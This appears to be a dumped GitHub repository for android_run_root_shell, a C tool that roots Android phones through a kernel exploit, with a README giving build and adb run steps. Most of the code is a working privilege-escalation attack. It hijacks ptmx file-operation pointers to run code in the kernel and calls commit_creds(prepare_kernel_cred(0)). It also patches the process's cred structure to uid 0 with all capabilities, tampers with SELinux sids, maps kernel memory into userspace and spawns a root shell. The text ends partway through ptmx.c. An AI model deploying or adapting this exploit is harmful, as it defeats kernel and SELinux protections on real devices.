├── .gitignore ├── .gitmodules ├── Android.mk ├── README.md ├── cred.c ├── cred.h ├── kallsyms.c ├── kallsyms.h ├── main.c ├── mm.c ├── mm.h ├── ptmx.c └── ptmx.h /.gitignore: -------------------------------------------------------------------------------- 1 | libs 2 | obj 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "device_database"] 2 | path = device_database 3 | url = https://github.com/android-rooting-tools/android_device_database.git 4 | [submodule "libkallsyms"] 5 | path = libkallsyms 6 | url = https://github.com/android-rooting-tools/libkallsyms.git 7 | [submodule "libexploit"] 8 | path = libexploit 9 | url = https://github.com/android-rooting-tools/libexploit.git 10 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | cred.c \ 7 | kallsyms.c \ 8 | main.c \ 9 | mm.c \ 10 | ptmx.c 11 | 12 | LOCAL_MODULE := run_root_shell 13 | LOCAL_MODULE_TAGS := optional 14 | LOCAL_STATIC_LIBRARIES := libdevice_database 15 | LOCAL_STATIC_LIBRARIES += libexploit 16 | LOCAL_STATIC_LIBRARIES += libkallsyms 17 | LOCAL_STATIC_LIBRARIES += libcutils libc 18 | LOCAL_LDFLAGS += -static 19 | 20 | TOP_SRCDIR := $(abspath $(LOCAL_PATH)) 21 | TARGET_C_INCLUDES += \ 22 | $(TOP_SRCDIR)/device_database 23 | 24 | include $(BUILD_EXECUTABLE) 25 | 26 | include $(call all-makefiles-under,$(LOCAL_PATH)) 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | android_run_root_shell 2 | ====================== 3 | 4 | This code is still ugly, please re-write it and send pull-requests, if you want to use this. 5 | 6 | 7 | Building 8 | ======== 9 | 10 | * Download the Android Native Development Kit (NDK): http://developer.android.com/tools/sdk/ndk/index.html#Downloads 11 | 12 | * Extract into some directory and put that in your path: 13 | `export PATH=ANDK_DIR:$PATH` 14 | 15 | * In another directory clone this repo: 16 | `git clone --recursive https://github.com/android-rooting-tools/android_run_root_shell` 17 | 18 | * Change to the directory where the repo was cloned 19 | `cd android_run_root_shell` 20 | 21 | * To start build process use the following 22 | `ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk` 23 | 24 | * If all goes well you will get the compiled binary at: 25 | `./libs/armeabi/run_root_shell` 26 | 27 | 28 | Running 29 | ======= 30 | 31 | * Download the Android Software Development Kit (SDK) ADT Bundle: http://developer.android.com/sdk/index.html 32 | 33 | * Extract into some directory and put the platform-tools folder in your path: 34 | `export PATH=SDK_DIR/sdk/platform-tools/:$PATH` 35 | 36 | * Change to the directory with the compiled run_root_shell binary (see above) 37 | 38 | * Connect your Android device through USB (click Cancel if it asks to enable USB storage; charging only is the correct mode) and enable USB debugging on the device. 39 | 40 | * Start the adb server on your computer: 41 | `sudo adb start-server` 42 | 43 | * Transfer run_root_shell to a temporary directory on the phone: 44 | `adb push run_root_shell /data/local` 45 | 46 | * Ensure that run_root_shell has execute permissions: 47 | `adb shell chmod 777 /data/local/run_root_shell` 48 | 49 | * Run the command on the phone: 50 | `adb shell /data/local/run_root_shell` 51 | -------------------------------------------------------------------------------- /cred.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "cred.h" 5 | #include "mm.h" 6 | #include "kallsyms.h" 7 | #include "device_database/device_database.h" 8 | 9 | prepare_kernel_cred_t prepare_kernel_cred; 10 | commit_creds_t commit_creds; 11 | 12 | bool 13 | setup_prepare_kernel_cred_address(void) 14 | { 15 | if (prepare_kernel_cred) { 16 | return true; 17 | } 18 | 19 | prepare_kernel_cred = (prepare_kernel_cred_t)device_get_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred)); 20 | 21 | if (!prepare_kernel_cred && kallsyms_exist()) { 22 | prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred"); 23 | } 24 | 25 | return !!prepare_kernel_cred; 26 | } 27 | 28 | bool 29 | setup_commit_creds_address(void) 30 | { 31 | if (commit_creds) { 32 | return true; 33 | } 34 | 35 | commit_creds = (commit_creds_t)device_get_symbol_address(DEVICE_SYMBOL(commit_creds)); 36 | 37 | if (!commit_creds && kallsyms_exist()) { 38 | commit_creds = kallsyms_get_symbol_address("commit_creds"); 39 | } 40 | 41 | return !!commit_creds; 42 | } 43 | 44 | static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 }; 45 | static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm); 46 | 47 | static bool 48 | find_prepare_kernel_cred_address_in_memory(void *mem, size_t length) 49 | { 50 | void *address; 51 | 52 | if (prepare_kernel_cred) { 53 | return true; 54 | } 55 | 56 | address = (prepare_kernel_cred_t)memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length); 57 | if (!address) { 58 | return false; 59 | } 60 | 61 | prepare_kernel_cred = (prepare_kernel_cred_t)convert_to_kernel_address(address, mem); 62 | return true; 63 | } 64 | 65 | static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 }; 66 | static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm); 67 | 68 | static bool 69 | find_commit_creds_address_in_memory(void *mem, size_t length) 70 | { 71 | void *address; 72 | 73 | if (commit_creds) { 74 | return true; 75 | } 76 | 77 | address = (commit_creds_t)memmem(mem, length, &commit_creds_asm, commit_creds_asm_length); 78 | if (!address) { 79 | return false; 80 | } 81 | 82 | commit_creds = (commit_creds_t)convert_to_kernel_address(address, mem); 83 | return true; 84 | } 85 | 86 | bool 87 | setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length) 88 | { 89 | if (prepare_kernel_cred) { 90 | return true; 91 | } 92 | 93 | return find_prepare_kernel_cred_address_in_memory(mem, length); 94 | } 95 | 96 | bool 97 | setup_commit_creds_address_in_memory(void *mem, size_t length) 98 | { 99 | if (commit_creds) { 100 | return true; 101 | } 102 | 103 | return find_commit_creds_address_in_memory(mem, length); 104 | } 105 | -------------------------------------------------------------------------------- /cred.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef CREDS_H 19 | #define CREDS_H 20 | 21 | #include 22 | #include 23 | 24 | struct cred; 25 | struct task_struct; 26 | 27 | typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *); 28 | typedef int (*commit_creds_t)(struct cred *); 29 | 30 | extern bool setup_prepare_kernel_cred_address(); 31 | extern bool setup_commit_creds_address(); 32 | 33 | extern bool setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length); 34 | extern bool setup_commit_creds_address_in_memory(void *mem, size_t length); 35 | 36 | extern prepare_kernel_cred_t prepare_kernel_cred; 37 | extern commit_creds_t commit_creds; 38 | 39 | #endif /* CREDS_H */ 40 | /* 41 | vi:ts=2:nowrap:ai:expandtab:sw=2 42 | */ 43 | -------------------------------------------------------------------------------- /kallsyms.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "kallsyms.h" 8 | 9 | bool 10 | kallsyms_exist(void) 11 | { 12 | struct stat st; 13 | 14 | if (stat("/proc/kallsyms", &st) < 0) { 15 | return false; 16 | } 17 | 18 | if (st.st_mode & S_IROTH) { 19 | return kallsyms_get_symbol_address("_stext") != 0; 20 | } 21 | 22 | return false; 23 | } 24 | 25 | void * 26 | kallsyms_get_symbol_address(const char *symbol_name) 27 | { 28 | FILE *fp; 29 | char function[BUFSIZ]; 30 | char symbol; 31 | void *address; 32 | int ret; 33 | 34 | fp = fopen("/proc/kallsyms", "r"); 35 | if (!fp) { 36 | printf("Failed to open /proc/kallsyms due to %s.", strerror(errno)); 37 | return 0; 38 | } 39 | 40 | while(!feof(fp)) { 41 | ret = fscanf(fp, "%p %c %s", &address, &symbol, function); 42 | if (ret != 3) { 43 | break; 44 | } 45 | 46 | if (!strcmp(function, symbol_name)) { 47 | fclose(fp); 48 | return address; 49 | } 50 | } 51 | fclose(fp); 52 | 53 | return NULL; 54 | } 55 | 56 | -------------------------------------------------------------------------------- /kallsyms.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef KALLSYMS_H 19 | #define KALLSYMS_H 20 | 21 | #include 22 | 23 | bool kallsyms_exist(void); 24 | void *kallsyms_get_symbol_address(const char *symbol_name); 25 | 26 | #endif /* KALLSYMS_H */ 27 | /* 28 | vi:ts=2:nowrap:ai:expandtab:sw=2 29 | */ 30 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define _LARGEFILE64_SOURCE 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include "device_database.h" 15 | #include "cred.h" 16 | #include "mm.h" 17 | #include "ptmx.h" 18 | #include "libexploit/exploit.h" 19 | #include "libkallsyms/kallsyms_in_memory.h" 20 | 21 | #define THREAD_SIZE 8192 22 | 23 | #define KERNEL_START 0xc0000000 24 | 25 | struct thread_info; 26 | struct task_struct; 27 | struct cred; 28 | struct kernel_cap_struct; 29 | struct task_security_struct; 30 | struct list_head; 31 | 32 | struct thread_info { 33 | unsigned long flags; 34 | int preempt_count; 35 | unsigned long addr_limit; 36 | struct task_struct *task; 37 | 38 | /* ... */ 39 | }; 40 | 41 | struct kernel_cap_struct { 42 | unsigned long cap[2]; 43 | }; 44 | 45 | struct cred { 46 | unsigned long usage; 47 | uid_t uid; 48 | gid_t gid; 49 | uid_t suid; 50 | gid_t sgid; 51 | uid_t euid; 52 | gid_t egid; 53 | uid_t fsuid; 54 | gid_t fsgid; 55 | unsigned long securebits; 56 | struct kernel_cap_struct cap_inheritable; 57 | struct kernel_cap_struct cap_permitted; 58 | struct kernel_cap_struct cap_effective; 59 | struct kernel_cap_struct cap_bset; 60 | unsigned char jit_keyring; 61 | void *thread_keyring; 62 | void *request_key_auth; 63 | void *tgcred; 64 | struct task_security_struct *security; 65 | 66 | /* ... */ 67 | }; 68 | 69 | struct list_head { 70 | struct list_head *next; 71 | struct list_head *prev; 72 | }; 73 | 74 | struct task_security_struct { 75 | unsigned long osid; 76 | unsigned long sid; 77 | unsigned long exec_sid; 78 | unsigned long create_sid; 79 | unsigned long keycreate_sid; 80 | unsigned long sockcreate_sid; 81 | }; 82 | 83 | 84 | struct task_struct_partial { 85 | struct list_head cpu_timers[3]; 86 | struct cred *real_cred; 87 | struct cred *cred; 88 | struct cred *replacement_session_keyring; 89 | char comm[16]; 90 | }; 91 | 92 | static inline struct thread_info * 93 | current_thread_info(void) 94 | { 95 | register unsigned long sp asm ("sp"); 96 | return (struct thread_info *)(sp & ~(THREAD_SIZE - 1)); 97 | } 98 | 99 | static bool 100 | is_cpu_timer_valid(struct list_head *cpu_timer) 101 | { 102 | if (cpu_timer->next != cpu_timer->prev) { 103 | return false; 104 | } 105 | 106 | if ((unsigned long int)cpu_timer->next < KERNEL_START) { 107 | return false; 108 | } 109 | 110 | return true; 111 | } 112 | 113 | static void 114 | obtain_root_privilege_by_modify_task_cred(void) 115 | { 116 | struct thread_info *info; 117 | struct cred *cred; 118 | struct task_security_struct *security; 119 | unsigned long addr_limit; 120 | int i; 121 | 122 | info = current_thread_info(); 123 | addr_limit = info->addr_limit; 124 | cred = NULL; 125 | 126 | for (i = 0; i < 0x400; i+= 4) { 127 | struct task_struct_partial *task = ((void *)info->task) + i; 128 | 129 | if (is_cpu_timer_valid(&task->cpu_timers[0]) 130 | && is_cpu_timer_valid(&task->cpu_timers[1]) 131 | && is_cpu_timer_valid(&task->cpu_timers[2]) 132 | && (unsigned long)task->cred >= addr_limit 133 | && task->real_cred == task->cred) { 134 | cred = task->cred; 135 | break; 136 | } 137 | } 138 | 139 | if (cred == NULL) { 140 | return; 141 | } 142 | 143 | cred->uid = 0; 144 | cred->gid = 0; 145 | cred->suid = 0; 146 | cred->sgid = 0; 147 | cred->euid = 0; 148 | cred->egid = 0; 149 | cred->fsuid = 0; 150 | cred->fsgid = 0; 151 | 152 | cred->cap_inheritable.cap[0] = 0xffffffff; 153 | cred->cap_inheritable.cap[1] = 0xffffffff; 154 | cred->cap_permitted.cap[0] = 0xffffffff; 155 | cred->cap_permitted.cap[1] = 0xffffffff; 156 | cred->cap_effective.cap[0] = 0xffffffff; 157 | cred->cap_effective.cap[1] = 0xffffffff; 158 | cred->cap_bset.cap[0] = 0xffffffff; 159 | cred->cap_bset.cap[1] = 0xffffffff; 160 | 161 | security = cred->security; 162 | if (security) { 163 | if (security->osid != 0 164 | && security->sid != 0 165 | && security->exec_sid == 0 166 | && security->create_sid == 0 167 | && security->keycreate_sid == 0 168 | && security->sockcreate_sid == 0) { 169 | security->osid = 1; 170 | security->sid = 1; 171 | } 172 | } 173 | } 174 | 175 | static void 176 | obtain_root_privilege_by_commit_creds(void) 177 | { 178 | commit_creds(prepare_kernel_cred(0)); 179 | } 180 | 181 | static void (*obtain_root_privilege_func)(void); 182 | 183 | void 184 | obtain_root_privilege(void) 185 | { 186 | if (obtain_root_privilege_func) { 187 | obtain_root_privilege_func(); 188 | } 189 | } 190 | 191 | static bool 192 | run_obtain_root_privilege(void *user_data) 193 | { 194 | int fd; 195 | int ret; 196 | 197 | obtain_root_privilege_func = obtain_root_privilege_by_commit_creds; 198 | 199 | fd = open(PTMX_DEVICE, O_WRONLY); 200 | 201 | ret = fsync(fd); 202 | 203 | if (getuid() != 0) { 204 | printf("commit_creds(): failed. Try to hack task->cred.\n"); 205 | 206 | obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred; 207 | ret = fsync(fd); 208 | } 209 | 210 | close(fd); 211 | 212 | return (ret == 0); 213 | } 214 | 215 | static bool 216 | run_exploit(void) 217 | { 218 | setup_ptmx_fops_fsync_address(); 219 | if (!ptmx_fops_fsync_address) { 220 | return false; 221 | } 222 | 223 | return attempt_exploit(ptmx_fops_fsync_address, 224 | (unsigned long int)&obtain_root_privilege, 0, 225 | run_obtain_root_privilege, NULL); 226 | } 227 | 228 | void 229 | device_detected(void) 230 | { 231 | char device[PROP_VALUE_MAX]; 232 | char build_id[PROP_VALUE_MAX]; 233 | 234 | __system_property_get("ro.product.model", device); 235 | __system_property_get("ro.build.display.id", build_id); 236 | 237 | printf("\n\nDevice detected: %s (%s)\n\n", device, build_id); 238 | } 239 | 240 | static bool 241 | find_ptmx_fops_address(kallsyms *info, void *mem, size_t length) 242 | { 243 | find_ptmx_fops_hint_t hint; 244 | 245 | hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open"); 246 | if (!hint.ptmx_open_address) { 247 | return false; 248 | } 249 | 250 | hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release"); 251 | if (!hint.tty_release_address) { 252 | return false; 253 | } 254 | 255 | hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync"); 256 | if (!hint.tty_fasync_address) { 257 | return false; 258 | } 259 | 260 | return setup_ptmx_fops_address_in_memory(mem, length, &hint); 261 | } 262 | 263 | bool find_variables_in_memory(void *mem, size_t length) 264 | { 265 | kallsyms *info; 266 | 267 | printf("Search address in memory...\n"); 268 | 269 | info = kallsyms_in_memory_init(mem, length); 270 | if (info) { 271 | printf("Using kallsyms_in_memory...\n"); 272 | 273 | if (!prepare_kernel_cred) { 274 | prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); 275 | } 276 | 277 | if (!commit_creds) { 278 | commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); 279 | } 280 | 281 | if (!ptmx_fops) { 282 | ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); 283 | 284 | if (!ptmx_fops) { 285 | find_ptmx_fops_address(info, mem, length); 286 | } 287 | } 288 | 289 | kallsyms_in_memory_free(info); 290 | 291 | if (prepare_kernel_cred && commit_creds && ptmx_fops) { 292 | return true; 293 | } 294 | } 295 | 296 | setup_prepare_kernel_cred_address_in_memory(mem, length); 297 | setup_commit_creds_address_in_memory(mem, length); 298 | 299 | return prepare_kernel_cred && commit_creds && ptmx_fops; 300 | } 301 | 302 | bool 303 | setup_variables(void) 304 | { 305 | setup_prepare_kernel_cred_address(); 306 | setup_commit_creds_address(); 307 | setup_ptmx_fops_address(); 308 | 309 | if (prepare_kernel_cred && commit_creds && ptmx_fops) { 310 | return true; 311 | } 312 | 313 | printf("Try to find address in memory...\n"); 314 | if (!run_with_mmap(find_variables_in_memory)) { 315 | printf("\n"); 316 | run_with_memcpy(find_variables_in_memory); 317 | } 318 | 319 | if (prepare_kernel_cred && commit_creds && ptmx_fops) { 320 | printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred); 321 | printf(" commit_creds = %p\n", commit_creds); 322 | printf(" ptmx_fops = %p\n", ptmx_fops); 323 | 324 | #ifdef HAS_SET_SYMBOL_ADDRESS 325 | device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred); 326 | device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds); 327 | device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops); 328 | #endif /* HAS_SET_SYMBOL_ADDRESS */ 329 | 330 | return true; 331 | } 332 | 333 | if (!prepare_kernel_cred) { 334 | printf("Failed to get prepare_kernel_cred address.\n"); 335 | } 336 | 337 | if (!commit_creds) { 338 | printf("Failed to get commit_creds address.\n"); 339 | } 340 | 341 | if (!ptmx_fops) { 342 | printf("Failed to get ptmx_fops address.\n"); 343 | } 344 | 345 | print_reason_device_not_supported(); 346 | 347 | return false; 348 | } 349 | 350 | int 351 | main(int argc, char **argv) 352 | { 353 | char* command = NULL; 354 | int i; 355 | for (i = 1; i < argc; i++) { 356 | if (!strcmp(argv[i], "-c")) { 357 | if (++i < argc) { 358 | command = argv[i]; 359 | } 360 | } 361 | } 362 | 363 | device_detected(); 364 | 365 | if (!setup_variables()) { 366 | printf("Failed to setup variables.\n"); 367 | exit(EXIT_FAILURE); 368 | } 369 | 370 | run_exploit(); 371 | 372 | if (getuid() != 0) { 373 | printf("Failed to obtain root privilege.\n"); 374 | exit(EXIT_FAILURE); 375 | } 376 | 377 | if (command == NULL) { 378 | system("/system/bin/sh"); 379 | } else { 380 | execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL); 381 | } 382 | 383 | exit(EXIT_SUCCESS); 384 | } 385 | /* 386 | vi:ts=2:nowrap:ai:expandtab:sw=2 387 | */ 388 | -------------------------------------------------------------------------------- /mm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "kallsyms.h" 7 | #include "mm.h" 8 | #include "ptmx.h" 9 | #include "libexploit/exploit.h" 10 | #include "device_database/device_database.h" 11 | 12 | #define PAGE_OFFSET 0xc0000000 13 | #define KERNEL_SIZE 0x02000000 14 | 15 | 16 | static unsigned long int kernel_phys_offset; 17 | 18 | int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, 19 | unsigned long pfn, unsigned long size, pgprot_t); 20 | 21 | bool 22 | setup_remap_pfn_range_address(void) 23 | { 24 | if (remap_pfn_range) { 25 | return true; 26 | } 27 | 28 | remap_pfn_range = (void *)device_get_symbol_address(DEVICE_SYMBOL(remap_pfn_range)); 29 | 30 | if (!remap_pfn_range && kallsyms_exist()) { 31 | remap_pfn_range = kallsyms_get_symbol_address("remap_pfn_range"); 32 | } 33 | 34 | return !!remap_pfn_range; 35 | } 36 | 37 | void 38 | set_kernel_phys_offset(unsigned long int offset) 39 | { 40 | kernel_phys_offset = offset; 41 | } 42 | 43 | #define PAGE_SHIFT 12 44 | 45 | void * 46 | convert_to_kernel_address(void *address, void *mmap_base_address) 47 | { 48 | return address - mmap_base_address + (void*)PAGE_OFFSET; 49 | } 50 | 51 | void * 52 | convert_to_mmaped_address(void *address, void *mmap_base_address) 53 | { 54 | return mmap_base_address + (address - (void*)PAGE_OFFSET); 55 | } 56 | 57 | static bool 58 | detect_kernel_phys_parameters(void) 59 | { 60 | FILE *fp; 61 | void *system_ram_address; 62 | char name[BUFSIZ]; 63 | void *start_address, *end_address; 64 | int ret; 65 | 66 | system_ram_address = NULL; 67 | 68 | fp = fopen("/proc/iomem", "r"); 69 | if (!fp) { 70 | printf("Failed to open /proc/iomem due to %s.\n", strerror(errno)); 71 | return false; 72 | } 73 | 74 | while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) { 75 | if (!strcmp(name, "System RAM")) { 76 | system_ram_address = start_address; 77 | continue; 78 | } 79 | if (!strncmp(name, "Kernel", 6)) { 80 | break; 81 | } 82 | } 83 | fclose(fp); 84 | 85 | set_kernel_phys_offset((int)system_ram_address); 86 | 87 | return true; 88 | } 89 | 90 | static void *old_mmap_handler; 91 | 92 | int 93 | ptmx_mmap(struct file *filep, struct vm_area_struct *vma) 94 | { 95 | void **p; 96 | int ret; 97 | 98 | p = (void **)ptmx_fops_mmap_address; 99 | 100 | ret = remap_pfn_range(vma, vma->vm_start, 101 | kernel_phys_offset >> PAGE_SHIFT, 102 | vma->vm_end - vma->vm_start, vma->vm_page_prot); 103 | 104 | if (p) { 105 | *p = old_mmap_handler; 106 | } 107 | 108 | return ret; 109 | } 110 | 111 | static void 112 | setup_mmap_by_fsync(void) 113 | { 114 | void **p; 115 | 116 | p = (void **)ptmx_fops_mmap_address; 117 | if (p) { 118 | old_mmap_handler = *p; 119 | *p = (void *)&ptmx_mmap; 120 | } 121 | } 122 | 123 | static bool 124 | run_callback_with_fsync_and_mmap(void *user_data) 125 | { 126 | int fd; 127 | void *address; 128 | void *start_address = (void *)0x20000000; 129 | memory_callback_t callback = (memory_callback_t)user_data; 130 | bool ret; 131 | 132 | fd = open(PTMX_DEVICE, O_RDWR); 133 | fsync(fd); 134 | 135 | address = mmap(start_address, KERNEL_SIZE, 136 | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, 137 | fd, 0); 138 | if (address == MAP_FAILED) { 139 | printf("Failed to mmap /dev/ptmx due to %s.\n", strerror(errno)); 140 | close(fd); 141 | return false; 142 | } 143 | 144 | ret = callback(address, KERNEL_SIZE); 145 | 146 | munmap(address, KERNEL_SIZE); 147 | 148 | close(fd); 149 | 150 | return ret; 151 | } 152 | 153 | typedef struct _callback_memory_exploit_info_t { 154 | memory_callback_t func; 155 | bool result; 156 | } callback_memory_exploit_info_t; 157 | 158 | static bool 159 | run_callback_memory_exploit(void *address, size_t length, void *param) 160 | { 161 | callback_memory_exploit_info_t *info = param; 162 | 163 | info->result = info->func(address, length); 164 | 165 | return true; 166 | } 167 | 168 | static bool 169 | run_exploit_mmap(memory_callback_t callback, bool *result) 170 | { 171 | callback_memory_exploit_info_t info; 172 | 173 | info.func = callback; 174 | 175 | if (attempt_mmap_exploit(&run_callback_memory_exploit, &info)) { 176 | *result = info.result; 177 | return true; 178 | } 179 | 180 | return false; 181 | } 182 | 183 | bool 184 | run_with_mmap(memory_callback_t callback) 185 | { 186 | unsigned long int kernel_physical_offset; 187 | bool result; 188 | 189 | if (run_exploit_mmap(callback, &result)) { 190 | return result; 191 | } 192 | 193 | setup_remap_pfn_range_address(); 194 | 195 | if (!remap_pfn_range) { 196 | printf("You need to manage to get remap_pfn_range address.\n"); 197 | return false; 198 | } 199 | 200 | setup_ptmx_fops_fsync_address(); 201 | if (!ptmx_fops_fsync_address) { 202 | printf("You need to manage to get ptmx_fops address.\n"); 203 | return false; 204 | } 205 | 206 | setup_ptmx_fops_mmap_address(); 207 | if (!ptmx_fops_mmap_address) { 208 | printf("You need to manage to get ptmx_fops address.\n"); 209 | return false; 210 | } 211 | 212 | kernel_physical_offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset)); 213 | if (kernel_physical_offset) { 214 | set_kernel_phys_offset(kernel_physical_offset - 0x00008000); 215 | } 216 | else if (!detect_kernel_phys_parameters()) { 217 | printf("You need to manage to get kernel_physical_offset address.\n"); 218 | return false; 219 | } 220 | 221 | return attempt_exploit(ptmx_fops_fsync_address, 222 | (unsigned long int)&setup_mmap_by_fsync, 0, 223 | run_callback_with_fsync_and_mmap, callback); 224 | } 225 | 226 | static bool 227 | run_exploit_memcpy(memory_callback_t callback, bool *result) 228 | { 229 | callback_memory_exploit_info_t info; 230 | 231 | info.func = callback; 232 | 233 | if (attempt_memcpy_exploit(&run_callback_memory_exploit, &info)) { 234 | *result = info.result; 235 | return true; 236 | } 237 | 238 | return false; 239 | } 240 | 241 | bool 242 | run_with_memcpy(memory_callback_t callback) 243 | { 244 | bool result; 245 | 246 | if (run_exploit_memcpy(callback, &result)) { 247 | return result; 248 | } 249 | 250 | return false; 251 | } 252 | -------------------------------------------------------------------------------- /mm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef MM_H 19 | #define MM_H 20 | 21 | #include 22 | #include 23 | #include 24 | 25 | struct file; 26 | 27 | typedef struct { 28 | unsigned long pgprot; 29 | } pgprot_t; 30 | 31 | struct vm_area_struct { 32 | void *vm_mm; 33 | unsigned long vm_start, vm_end; 34 | void *vm_next, *vm_prev; 35 | pgprot_t vm_page_prot; 36 | /* ... */ 37 | }; 38 | 39 | typedef bool (*memory_callback_t)(void *mem, size_t length); 40 | 41 | extern bool setup_remap_pfn_range_address(void); 42 | extern bool run_with_mmap(memory_callback_t callback); 43 | extern bool run_with_memcpy(memory_callback_t callback); 44 | 45 | extern void set_kernel_phys_offset(unsigned long int offset); 46 | extern void *convert_to_kernel_address(void *address, void *mmap_base_address); 47 | extern void *convert_to_mmaped_address(void *address, void *mmap_base_address); 48 | 49 | extern int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, 50 | unsigned long pfn, unsigned long size, pgprot_t); 51 | 52 | #endif /* MM_H */ 53 | /* 54 | vi:ts=2:nowrap:ai:expandtab:sw=2 55 | */ 56 | -------------------------------------------------------------------------------- /ptmx.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "ptmx.h" 4 | #include "kallsyms.h" 5 | #include "device_database/device_database.h" 6 | 7 | void *ptmx_fops; 8 | unsigned long int ptmx_fops_mmap_address; 9 | unsigned long int ptmx_fops_fsync_address; 10 | 11 | bool 12 | setup_ptmx_fops_address(void) 13 | { 14 | if (ptmx_fops) { 15 | return true; 16 | } 17 | 18 | ptmx_fops = (void *)device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops)); 19 | 20 | if (!ptmx_fops && kallsyms_exist()) { 21 | ptmx_fops = kallsyms_get_symbol_address("ptmx_fops"); 22 | } 23 | 24 | return !!ptmx_fops; 25 | } 26 | 27 | bool 28 | setup_ptmx_fops_mmap_address(void) 29 | { 30 | if (!ptmx_fops) { 31 | setup_ptmx_fops_address(); 32 | if (!ptmx_fops) { 33 | return false; 34 | } 35 | } 36 | 37 | ptmx_fops_mmap_address = (unsigned long int)ptmx_fops + 0x28; 38 | return true; 39 | } 40 | 41 | bool 42 | setup_ptmx_fops_fsync_address(void) 43 | { 44 | if (!ptmx_fops) { 45 | setup_ptmx_fops_address(); 46 | if (!ptmx_fops) { 47 | return false; 48 | } 49 | } 50 | 51 | ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38; 52 | return true; 53 | } 54 | 55 | bool 56 | setup_ptmx_fops_address_in_memory(void *mem, size_t length, find_ptmx_fops_hint_t *hint) 57 | { 58 | int i; 59 | 60 | for (i = 0x24; i < length - 0x40; i += 4) { 61 | unsigned long int *address = mem + i; 62 | 63 | if (address[2] != hint->ptmx_open_address) { 64 | continue; 65 | } 66 | 67 | if (address[4] != hint->tty_release_address) { 68 | continue; 69 | } 70 | 71 | if (address[7] != hint->tty_fasync_address) { 72 | continue; 73 | } 74 | 75 | ptmx_fops = (void *)convert_to_kernel_address(address, mem) - 0x24; 76 | return true; 77 | } 78 | 79 